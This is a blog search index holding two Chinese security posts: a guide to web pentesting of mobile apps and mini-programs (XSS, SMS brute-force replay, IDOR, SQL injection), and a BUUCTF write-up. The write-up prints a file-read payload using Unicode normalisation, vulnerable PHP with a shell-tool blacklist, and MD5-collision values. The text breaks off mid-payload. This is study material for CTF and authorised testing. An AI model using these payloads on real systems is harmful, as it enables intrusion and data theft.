-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
5164 lines (5052 loc) · 354 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>APP与小程序端的WEB渗透测试</title>
<url>/2020/08/24/App%E4%B8%8E%E5%B0%8F%E7%A8%8B%E5%BA%8F%E7%AB%AF%E7%9A%84WEB%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/</url>
<content><![CDATA[<h1 id="APP与小程序端的WEB渗透测试"><a href="#APP与小程序端的WEB渗透测试" class="headerlink" title="APP与小程序端的WEB渗透测试"></a>APP与小程序端的WEB渗透测试</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a><font color="green">前言</font></h2><p>基于手机通信行业的发达，APP与小程序的使用人数也是越来越多。而传统的WEB端用户量反而又下降的趋势。所以在进行渗透测试的时候，需关注到APP和小程序端的资产，让我们的渗透测试能多点开花。</p>
<p>APP与小程序的渗透测试在本质上和WEB端没有区别，只是使用的载体从浏览器换成了APP和小程序。</p>
<p>这三者同样都是和服务器进行数据交互，所以在对APP和小程序进行渗透测试时的基本流程、漏洞检测与WEB端也是一样的。</p>
<hr>
<h2 id="工具与环境"><a href="#工具与环境" class="headerlink" title="工具与环境"></a><font color="green">工具与环境</font></h2><h3 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h3><ol>
<li><p><strong>安卓模拟器</strong></p>
<p>大多数安卓模拟器都可以进行渗透测试（我之前用的夜神模拟器，现在用的mumu模拟器）</p>
</li>
<li><p><strong>Burpsuite</strong></p>
<p>WEB渗透测试必备</p>
</li>
<li><p>被动扫描器（非必须）</p>
<p>习惯用Xray，当然只是在要测试的业务很多的时候使用（省时间），而且要调小线程，以免影响业务正常</p>
</li>
</ol>
<h3 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h3><p><img src="https://s1.ax1x.com/2020/08/10/abIwTO.png" alt="abIwTO.png"></p>
<p>burp中在Proxy -> Options 中添加一个监听，ip是本机ip，端口随便填</p>
<p><img src="https://s1.ax1x.com/2020/08/10/abId0K.png" alt="abId0K.png"></p>
<p>在模拟器中修改wifi的高级选项，选择手动添加代理，ip与端口要和刚刚在burp中添加的一致</p>
<p>接着要安装证书，在浏览器中访问192.168.1.101:8888，下载证书。将后缀改成.cer</p>
<p>进入设置->安全->从sd卡安装</p>
<p><img src="https://s1.ax1x.com/2020/08/10/abINOx.png" alt="abINOx.png"></p>
<p>找到刚刚下载的证书，点击即可安装</p>
<p><img src="https://s1.ax1x.com/2020/08/10/abIam6.png" alt="abIam6.png"></p>
<p>在模拟器中的浏览器访问下百度，发现成功抓到包，说明环境配置成功了</p>
<hr>
<h2 id="APP-小程序端常见漏洞"><a href="#APP-小程序端常见漏洞" class="headerlink" title="APP/小程序端常见漏洞"></a><font color="green">APP/小程序端常见漏洞</font></h2><h3 id="XSS漏洞"><a href="#XSS漏洞" class="headerlink" title="XSS漏洞"></a>XSS漏洞</h3><p>在前言里我们讲过，APP/小程序和普通的web端没有很大区别。展示给用户看用的前端语言同样是<strong>html</strong>(h5)+css(css3)+js，所以同样存在XSS漏洞。</p>
<p><strong>漏洞一般存在的业务功能</strong>：<strong>评论</strong>、修改个人信息、留言、<strong>发帖</strong>、回帖等能插入数据的功能点（这里只讨论存储型XSS）</p>
<p>某小程序测试（授权）存储XSS</p>
<p><img src="https://s1.ax1x.com/2020/08/10/abLR2D.jpg" alt="abLR2D.jpg"></p>
<p><img src="https://s1.ax1x.com/2020/08/10/abXZp8.png" alt="abXZp8.png"></p>
<p>由于有时候有waf，所以一般要先尝试绕一绕，实在因为时间原因可以直接fuzz，贴上个我常用的fuzz字典：<a href="https://github.com/TheKingOfDuck/fuzzDicts/blob/master/easyXssPayload/burpXssPayload.txt" target="_blank" rel="noopener">XSSpayload</a></p>
<h3 id="短信-邮箱爆破"><a href="#短信-邮箱爆破" class="headerlink" title="短信/邮箱爆破"></a>短信/邮箱爆破</h3><p>在登录界面的手机号验证功能一般会有这种漏洞，抓包重放即可达到无限制爆破</p>
<p>某小程序（授权）越权测试</p>
<p><img src="https://s1.ax1x.com/2020/08/13/dp5EWt.jpg" alt="dp5EWt.jpg"></p>
<p>用网上的接码平台测试</p>
<p><img src="https://s1.ax1x.com/2020/08/13/dp5eQf.jpg" alt="dp5eQf.jpg"></p>
<h3 id="信息泄露"><a href="#信息泄露" class="headerlink" title="信息泄露"></a>信息泄露</h3><p>在做APP和小程序的渗透测试时，我发现很多页面都是以json格式返回数据，再经过前端渲染展示出来。而很多这种json返回包都没做加密，很容易就能查看到其他用户的信息</p>
<p>例子：</p>
<pre class=" language-json"><code class="language-json"><span class="token punctuation">{</span>code<span class="token operator">:</span>'<span class="token number">200</span>'<span class="token punctuation">,</span>result<span class="token operator">:</span>'查询成功'<span class="token punctuation">,</span>data<span class="token operator">:</span><span class="token punctuation">{</span>name<span class="token operator">:</span>'张三'<span class="token punctuation">,</span>phone<span class="token operator">:</span>'<span class="token number">13088888888</span>'<span class="token punctuation">,</span>mail<span class="token operator">:</span>'test@<span class="token number">163</span>.com'<span class="token punctuation">,</span>address<span class="token operator">:</span>'广东广州xx路xx号'<span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre>
<p>漏洞一般存在于页面上有其他用户交互的地方，如帖子、评论、运动功能（类似微信运动那样）等。</p>
<h3 id="越权"><a href="#越权" class="headerlink" title="越权"></a>越权</h3><p>在和用户交互的页面上，若对返回包没进行加密可查看到用户id，以此可达到越权</p>
<p>例子：某帖子下方评论处返回包查看到用户id</p>
<pre class=" language-json"><code class="language-json"><span class="token punctuation">{</span>code<span class="token operator">:</span>'<span class="token number">200</span>'<span class="token punctuation">,</span>result<span class="token operator">:</span>'查询成功'<span class="token punctuation">,</span>data<span class="token operator">:</span><span class="token punctuation">{</span>userid<span class="token operator">:</span>'<span class="token number">111111</span>'<span class="token punctuation">,</span>commentid<span class="token operator">:</span>'098f6bcd4621d373cade4e832627b4f6'<span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre>
<p>拿到其他用户的id后即可越权查看用户信息、越权添加/删除评论等等</p>
<h3 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h3><p>一般小程序抓到的请求包和WEB端没区别，和WEB端一样测试SQL注入即可</p>
<blockquote>
<p>不过一般小程序和app的接口服务器有WAF</p>
</blockquote>
<h2 id="Burp与Xray联动测试"><a href="#Burp与Xray联动测试" class="headerlink" title="Burp与Xray联动测试"></a><font color="green">Burp与Xray联动测试</font></h2><p>首先Xray监听本地7777端口，开启被动扫描模式</p>
<p><img src="https://s1.ax1x.com/2020/08/13/dpfJSK.png" alt="dpfJSK.png"></p>
<p>接着Burp的前提配置（<strong>工具与环境</strong>中的配置）不变的情况下，在burp中的<strong>User options -> Connections -> Upstream Proxy Servers</strong>中添加监听端口7777</p>
<p><img src="https://s1.ax1x.com/2020/08/13/dphLgf.png" alt="dphLgf.png"></p>
<p>接着Burp抓到的包就能送到Xray进行被动扫描了</p>
<p>该方法适合于要测试的资产较多和复测阶段使用</p>
<blockquote>
<p>注意调小xray的线程，以免影响到业务正常</p>
</blockquote>
]]></content>
<categories>
<category>WEB安全</category>
<category>漏洞挖掘</category>
</categories>
<tags>
<tag>WEB安全</tag>
<tag>漏洞挖掘</tag>
</tags>
</entry>
<entry>
<title>BUUCTF刷题记录（一）</title>
<url>/2020/05/28/BUUCTF%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%EF%BC%88%E4%BA%8C%EF%BC%89/</url>
<content><![CDATA[<h1 id="BUUCTF刷题记录（一）"><a href="#BUUCTF刷题记录（一）" class="headerlink" title="BUUCTF刷题记录（一）"></a>BUUCTF刷题记录（一）</h1><h2 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h2><h3 id="SUCTF-2019-Pythonginx"><a href="#SUCTF-2019-Pythonginx" class="headerlink" title="[SUCTF 2019]Pythonginx"></a>[SUCTF 2019]Pythonginx</h3><p>这题主要是利用了<strong>CVE-2019-9636：urlsplit不处理NFKC标准化</strong> </p>
<p>题目源码：</p>
<pre class=" language-python"><code class="language-python"><span class="token keyword">from</span> flask <span class="token keyword">import</span> Flask<span class="token punctuation">,</span> Blueprint<span class="token punctuation">,</span> request<span class="token punctuation">,</span> Response<span class="token punctuation">,</span> escape <span class="token punctuation">,</span>render_template
<span class="token keyword">from</span> urllib<span class="token punctuation">.</span>parse <span class="token keyword">import</span> urlsplit<span class="token punctuation">,</span> urlunsplit<span class="token punctuation">,</span> unquote
<span class="token keyword">from</span> urllib <span class="token keyword">import</span> parse
<span class="token keyword">import</span> urllib<span class="token punctuation">.</span>request
app <span class="token operator">=</span> Flask<span class="token punctuation">(</span>__name__<span class="token punctuation">)</span>
<span class="token comment" spellcheck="true"># Index</span>
@app<span class="token punctuation">.</span>route<span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">,</span> methods<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">'GET'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
<span class="token keyword">def</span> <span class="token function">app_index</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
<span class="token keyword">return</span> render_template<span class="token punctuation">(</span><span class="token string">'index.html'</span><span class="token punctuation">)</span>
@app<span class="token punctuation">.</span>route<span class="token punctuation">(</span><span class="token string">'/getUrl'</span><span class="token punctuation">,</span> methods<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">'GET'</span><span class="token punctuation">,</span> <span class="token string">'POST'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
<span class="token keyword">def</span> <span class="token function">getUrl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
url <span class="token operator">=</span> request<span class="token punctuation">.</span>args<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"url"</span><span class="token punctuation">)</span>
host <span class="token operator">=</span> parse<span class="token punctuation">.</span>urlparse<span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">.</span>hostname
<span class="token keyword">if</span> host <span class="token operator">==</span> <span class="token string">'suctf.cc'</span><span class="token punctuation">:</span>
<span class="token keyword">return</span> <span class="token string">"我扌 your problem? 111"</span>
parts <span class="token operator">=</span> list<span class="token punctuation">(</span>urlsplit<span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span>
host <span class="token operator">=</span> parts<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>
<span class="token keyword">if</span> host <span class="token operator">==</span> <span class="token string">'suctf.cc'</span><span class="token punctuation">:</span>
<span class="token keyword">return</span> <span class="token string">"我扌 your problem? 222 "</span> <span class="token operator">+</span> host
newhost <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>
<span class="token keyword">for</span> h <span class="token keyword">in</span> host<span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">'.'</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
newhost<span class="token punctuation">.</span>append<span class="token punctuation">(</span>h<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'idna'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
parts<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'.'</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span>newhost<span class="token punctuation">)</span>
<span class="token comment" spellcheck="true">#去掉 url 中的空格</span>
finalUrl <span class="token operator">=</span> urlunsplit<span class="token punctuation">(</span>parts<span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">' '</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>
host <span class="token operator">=</span> parse<span class="token punctuation">.</span>urlparse<span class="token punctuation">(</span>finalUrl<span class="token punctuation">)</span><span class="token punctuation">.</span>hostname
<span class="token keyword">if</span> host <span class="token operator">==</span> <span class="token string">'suctf.cc'</span><span class="token punctuation">:</span>
<span class="token keyword">return</span> urllib<span class="token punctuation">.</span>request<span class="token punctuation">.</span>urlopen<span class="token punctuation">(</span>finalUrl<span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">else</span><span class="token punctuation">:</span>
<span class="token keyword">return</span> <span class="token string">"我扌 your problem? 333"</span>
<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span>
app<span class="token punctuation">.</span>run<span class="token punctuation">(</span>host<span class="token operator">=</span><span class="token string">'0.0.0.0'</span><span class="token punctuation">,</span> port<span class="token operator">=</span><span class="token number">80</span><span class="token punctuation">)</span></code></pre>
<p>先用两个host判断是不是suctf.cc，如果不是再进入第三个host判断。第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数，在第三个判断中又必须要等于 suctf.cc 才行。</p>
<p>于是利用ℂ来代替c及进行绕过</p>
<p>构造<code>file://suctf.c℆sr/local/nginx/conf/nginx.conf</code>，得到：</p>
<pre class=" language-python"><code class="language-python">server <span class="token punctuation">{</span> listen <span class="token number">80</span><span class="token punctuation">;</span> location <span class="token operator">/</span> <span class="token punctuation">{</span> try_files $uri @app<span class="token punctuation">;</span> <span class="token punctuation">}</span> location @app <span class="token punctuation">{</span> include uwsgi_params<span class="token punctuation">;</span> uwsgi_pass unix<span class="token punctuation">:</span><span class="token operator">//</span><span class="token operator">/</span>tmp<span class="token operator">/</span>uwsgi<span class="token punctuation">.</span>sock<span class="token punctuation">;</span> <span class="token punctuation">}</span> location <span class="token operator">/</span>static <span class="token punctuation">{</span> alias <span class="token operator">/</span>app<span class="token operator">/</span>static<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment" spellcheck="true"># location /flag { # alias /usr/fffffflag; # } }</span></code></pre>
<p>最终payload：</p>
<pre><code>?url=file://suctf.cℂ/fffffflag</code></pre><h3 id="安洵杯-2019-easy-web"><a href="#安洵杯-2019-easy-web" class="headerlink" title="[安洵杯 2019]easy_web"></a>[安洵杯 2019]easy_web</h3><p>打开网站发现左上角有张图片是从url里调用的，解密img参数。两重base64+一重hex。那么尝试获取index.php的内容。把index.php先hex加密，再两次base64加密传回img参数，然后获得经过base64加密后的index.php代码，解密得到index.php :</p>
<pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span>
<span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token constant">E_ALL</span> <span class="token operator">||</span> <span class="token operator">~</span> <span class="token constant">E_NOTICE</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">header</span><span class="token punctuation">(</span><span class="token string">'content-type:text/html;charset=utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$cmd</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string">'img'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token operator">!</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token function">header</span><span class="token punctuation">(</span><span class="token string">'Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$file</span> <span class="token operator">=</span> <span class="token function">hex2bin</span><span class="token punctuation">(</span><span class="token function">base64_decode</span><span class="token punctuation">(</span><span class="token function">base64_decode</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string">'img'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$file</span> <span class="token operator">=</span> <span class="token function">preg_replace</span><span class="token punctuation">(</span><span class="token string">"/[^a-zA-Z0-9.]+/"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">,</span> <span class="token variable">$file</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string">"/flag/i"</span><span class="token punctuation">,</span> <span class="token variable">$file</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">echo</span> <span class="token string">'<img src ="./ctf3.jpeg">'</span><span class="token punctuation">;</span>
<span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string">"xixi～ no flag"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
<span class="token variable">$txt</span> <span class="token operator">=</span> <span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token variable">$file</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">echo</span> <span class="token string">"<img src='data:image/gif;base64,"</span> <span class="token punctuation">.</span> <span class="token variable">$txt</span> <span class="token punctuation">.</span> <span class="token string">"'></img>"</span><span class="token punctuation">;</span>
<span class="token keyword">echo</span> <span class="token string">"<br>"</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">echo</span> <span class="token variable">$cmd</span><span class="token punctuation">;</span>
<span class="token keyword">echo</span> <span class="token string">"<br>"</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string">"/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i"</span><span class="token punctuation">,</span> <span class="token variable">$cmd</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">echo</span><span class="token punctuation">(</span><span class="token string">"forbid ~"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">echo</span> <span class="token string">"<br>"</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">'a'</span><span class="token punctuation">]</span> <span class="token operator">!==</span> <span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">'b'</span><span class="token punctuation">]</span> <span class="token operator">&&</span> <span class="token function">md5</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">'a'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token function">md5</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">'b'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">echo</span> `<span class="token variable">$cmd</span>`<span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
<span class="token keyword">echo</span> <span class="token punctuation">(</span><span class="token string">"md5 is funny ~"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token delimiter">?></span>
<span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>html</span><span class="token punctuation">></span></span></span>
<span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>style</span><span class="token punctuation">></span></span></span>
body<span class="token punctuation">{</span>
background<span class="token punctuation">:</span><span class="token function">url</span><span class="token punctuation">(</span><span class="token punctuation">.</span><span class="token operator">/</span>bj<span class="token punctuation">.</span>png<span class="token punctuation">)</span> no<span class="token operator">-</span>repeat center center<span class="token punctuation">;</span>
background<span class="token operator">-</span>size<span class="token punctuation">:</span>cover<span class="token punctuation">;</span>
background<span class="token operator">-</span>attachment<span class="token punctuation">:</span>fixed<span class="token punctuation">;</span>
background<span class="token operator">-</span>color<span class="token punctuation">:</span><span class="token shell-comment comment">#CCCCCC;</span>
<span class="token punctuation">}</span>
<span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>style</span><span class="token punctuation">></span></span></span>
<span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>body</span><span class="token punctuation">></span></span></span>
<span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>body</span><span class="token punctuation">></span></span></span>
<span class="token markup"><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>html</span><span class="token punctuation">></span></span></span></code></pre>
<p>我们看到可以传入cmd参数进行代码执行，但有个md5判断：</p>
<pre class=" language-php"><code class="language-php"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">'a'</span><span class="token punctuation">]</span> <span class="token operator">!==</span> <span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">'b'</span><span class="token punctuation">]</span> <span class="token operator">&&</span> <span class="token function">md5</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">'a'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token function">md5</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">'b'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> </code></pre>
<p>我们构造两个参数a，b绕过这个判断</p>
<pre class=" language-php"><code class="language-php">a<span class="token operator">=</span><span class="token operator">%</span>4d<span class="token operator">%</span>c9<span class="token operator">%</span><span class="token number">68</span><span class="token operator">%</span>ff<span class="token operator">%</span>0e<span class="token operator">%</span>e3<span class="token operator">%</span>5c<span class="token operator">%</span><span class="token number">20</span><span class="token operator">%</span><span class="token number">95</span><span class="token operator">%</span><span class="token number">72</span><span class="token operator">%</span>d4<span class="token operator">%</span><span class="token number">77</span><span class="token operator">%</span>7b<span class="token operator">%</span><span class="token number">72</span><span class="token operator">%</span><span class="token number">15</span><span class="token operator">%</span><span class="token number">87</span><span class="token operator">%</span>d3<span class="token operator">%</span>6f<span class="token operator">%</span>a7<span class="token operator">%</span>b2<span class="token operator">%</span>1b<span class="token operator">%</span>dc<span class="token operator">%</span><span class="token number">56</span><span class="token operator">%</span>b7<span class="token operator">%</span>4a<span class="token operator">%</span>3d<span class="token operator">%</span>c0<span class="token operator">%</span><span class="token number">78</span><span class="token operator">%</span>3e<span class="token operator">%</span>7b<span class="token operator">%</span><span class="token number">95</span><span class="token operator">%</span><span class="token number">18</span><span class="token operator">%</span>af<span class="token operator">%</span>bf<span class="token operator">%</span>a2<span class="token operator">%</span><span class="token number">00</span><span class="token operator">%</span>a8<span class="token operator">%</span><span class="token number">28</span><span class="token operator">%</span>4b<span class="token operator">%</span>f3<span class="token operator">%</span>6e<span class="token operator">%</span>8e<span class="token operator">%</span>4b<span class="token operator">%</span><span class="token number">55</span><span class="token operator">%</span>b3<span class="token operator">%</span>5f<span class="token operator">%</span><span class="token number">42</span><span class="token operator">%</span><span class="token number">75</span><span class="token operator">%</span><span class="token number">93</span><span class="token operator">%</span>d8<span class="token operator">%</span><span class="token number">49</span><span class="token operator">%</span><span class="token number">67</span><span class="token operator">%</span>6d<span class="token operator">%</span>a0<span class="token operator">%</span>d1<span class="token operator">%</span><span class="token number">55</span><span class="token operator">%</span>5d<span class="token operator">%</span><span class="token number">83</span><span class="token operator">%</span><span class="token number">60</span><span class="token operator">%</span>fb<span class="token operator">%</span>5f<span class="token operator">%</span><span class="token number">07</span><span class="token operator">%</span>fe<span class="token operator">%</span>a2<span class="token operator">&</span>b<span class="token operator">=</span><span class="token operator">%</span>4d<span class="token operator">%</span>c9<span class="token operator">%</span><span class="token number">68</span><span class="token operator">%</span>ff<span class="token operator">%</span>0e<span class="token operator">%</span>e3<span class="token operator">%</span>5c<span class="token operator">%</span><span class="token number">20</span><span class="token operator">%</span><span class="token number">95</span><span class="token operator">%</span><span class="token number">72</span><span class="token operator">%</span>d4<span class="token operator">%</span><span class="token number">77</span><span class="token operator">%</span>7b<span class="token operator">%</span><span class="token number">72</span><span class="token operator">%</span><span class="token number">15</span><span class="token operator">%</span><span class="token number">87</span><span class="token operator">%</span>d3<span class="token operator">%</span>6f<span class="token operator">%</span>a7<span class="token operator">%</span>b2<span class="token operator">%</span>1b<span class="token operator">%</span>dc<span class="token operator">%</span><span class="token number">56</span><span class="token operator">%</span>b7<span class="token operator">%</span>4a<span class="token operator">%</span>3d<span class="token operator">%</span>c0<span class="token operator">%</span><span class="token number">78</span><span class="token operator">%</span>3e<span class="token operator">%</span>7b<span class="token operator">%</span><span class="token number">95</span><span class="token operator">%</span><span class="token number">18</span><span class="token operator">%</span>af<span class="token operator">%</span>bf<span class="token 